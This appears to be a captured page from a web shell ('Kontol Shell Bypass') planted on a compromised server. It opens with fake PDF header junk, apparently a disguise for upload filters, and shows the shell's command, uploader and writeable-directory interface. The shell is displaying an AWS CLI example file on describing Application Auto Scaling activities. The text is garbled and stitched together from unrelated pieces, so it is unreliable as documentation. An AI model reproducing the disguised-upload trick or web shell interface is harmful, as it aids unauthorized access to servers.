%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/doc/awscli/examples/application-autoscaling/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/doc/awscli/examples/application-autoscaling/describe-scaling-activities.rst
**Example 1: To describe scaling activities for a scalable target**

The following ``describe-scaling-activities`` example displays details for th the scaling activities for an Amazon ECS service called `web-app` that is running in the `default` cluster. ::

    aws application-autoscaling describe-scaling-activities \
        --service-namespace ecs \
        --scalable-dimension ecs:service:DesiredCount \
        --resource-id service/default/web-app

Output::

    {
        "ScalingActivities": [
            {
                "ScalableDimension": "ecs:service:DesiredCount",
                "Description": "Setting desired count to 1.",
                "ResourceId": "service/default/web-app",
                "ActivityId": "e6c5f7d1-dbbb-4a3f-89b2-51f33e766399",
                "StartTime": 1462575838.171,
                "ServiceNamespace": "ecs",
                "EndTime": 1462575872.111,
                "Cause": "monitor alarm web-app-cpu-lt-25 in state ALARM triggered policy web-app-cpu-lt-25",
                "StatusMessage": "Successfully set desired count to 1. Change successfully fulfilled by ecs.",
                "StatusCode": "Successful"
            }
        ]
    }

**Example 2:  To describe scaling activities triggered by scheduled actions**

The following ``describe-scaling-activities`` example describes the scaling activities for the specified DynamoDB table. The output shows scaling activities triggered by two different scheduled actions::

    aws application-autoscaling describe-scaling-activities \
        --service-namespace dynamodb \
        --scalable-dimension dynamodb:table:WriteCapacityUnits \
        --resource-id table/my-table

Output::

    {
        "ScalingActivities": [
            {
                "ScalableDimension": "dynamodb:table:WriteCapacityUnits",
                "Description": "Setting write capacity units to 10.",
                "ResourceId": "table/my-table",
                "ActivityId": "4d1308c0-bbcf-4514-a673-b0220ae38547",
                "StartTime": 1561574415.086,
                "ServiceNamespace": "dynamodb",
                "EndTime": 1561574449.51,
                "Cause": "maximum capacity was set to 10",
                "StatusMessage": "Successfully set write capacity units to 10. Change successfully fulfilled by dynamodb.",
                "StatusCode": "Successful"
            },
            {
                "ScalableDimension": "dynamodb:table:WriteCapacityUnits",
                "Description": "Setting min capacity to 5 and max capacity to 10",
                "ResourceId": "table/my-table",
                "ActivityId": "f2b7847b-721d-4e01-8ef0-0c8d3bacc1c7",
                "StartTime": 1561574414.644,
                "ServiceNamespace": "dynamodb",
                "Cause": "scheduled action name my-second-scheduled-action was triggered",
                "StatusMessage": "Successfully set min capacity to 5 and max capacity to 10",
                "StatusCode": "Successful"
            },
            {
                "ScalableDimension": "dynamodb:table:WriteCapacityUnits",
                "Description": "Setting write capacity units to 15.",
                "ResourceId": "table/my-table",
                "ActivityId": "d8ea4de6-9eaa-499f-b466-2cc5e681ba8b",
                "StartTime": 1561574108.904,
                "ServiceNamespace": "dynamodb",
                "EndTime": 1561574140.255,
                "Cause": "minimum capacity was set to 15",
                "StatusMessage": "Successfully set write capacity units to 15. Change successfully fulfilled by dynamodb.",
                "StatusCode": "Successful"
            },
            {
                "ScalableDimension": "dynamodb:table:WriteCapacityUnits",
                "Description": "Setting min capacity to 15 and max capacity to 20",
                "ResourceId": "table/my-table",
                "ActivityId": "3250fd06-6940-4e8e-bb1f-d494db7554d2",
                "StartTime": 1561574108.512,
                "ServiceNamespace": "dynamodb",
                "Cause": "scheduled action name my-first-scheduled-action was triggered",
                "StatusMessage": "Successfully set min capacity to 15 and max capacity to 20",
                "StatusCode": "Successful"
            }
        ]
    }

For more information, see `Scheduled Scaling <https://docs.aws.amazon.com/autoscaling/application/userguide/application-auto-scaling-scheduled-scaling.html>`__ in the *Application Auto Scaling User Guide*.

Kontol Shell Bypass